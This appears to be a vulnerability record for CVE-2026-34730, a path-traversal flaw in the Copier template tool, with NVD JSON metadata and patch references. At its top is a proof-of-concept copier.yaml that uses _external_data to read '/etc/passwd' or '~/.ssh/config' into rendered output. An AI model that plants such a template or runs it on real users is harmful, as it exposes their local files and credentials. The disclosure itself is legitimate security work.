CVE-2026-34730

# PoC Configuration for CVE-2026-34730 # Save this as 'copier.yaml' in a template directory # Malicious template configuration exploiting _external_data _external_data: # Attacker controlled path to read a local YAML file (e.g., config, secrets) sensitive_data: "/etc/passwd" # Or specific user files: "~/.ssh/config" questions: - variable: "use_data" default: "yes" # In a template file (e.g., {{ _copier_conf.answers_file }}.jinja): # {{ sensitive_data }} # This will output the content of the specified file when rendered.

{"cve": {"id": "CVE-2026-34730", "sourceIdentifier": "[email protected]", "published": "2026-04-02T19:21:32.560", "lastModified": "2026-04-03T19:43:42.730", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Copier is a library and CLI app for rendering project templates. Prior to version 9.14.1, Copier's _external_data feature allows a template to load YAML files using template-controlled paths. If untrusted templates are in scope, a malicious template can read attacker-chosen YAML-parseable local files that are accessible to the user running Copier and expose their contents in rendered output. This issue has been patched in version 9.14.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:copier-org:copier:*:*:*:*:*:python:*:*", "versionEndExcluding": "9.14.1", "matchCriteriaId": "08914294-5C57-49CB-8D05-BBB156C6B8B1"}]}]}], "references": [{"url": "https://github.com/copier-org/copier/commit/5413062eb17b73dc885f5e645cdc161e69ef641b", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/copier-org/copier/releases/tag/v9.14.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/copier-org/copier/security/advisories/GHSA-hgjq-p8cr-gg4h", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/copier-org/copier/security/advisories/GHSA-hgjq-p8cr-gg4h", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}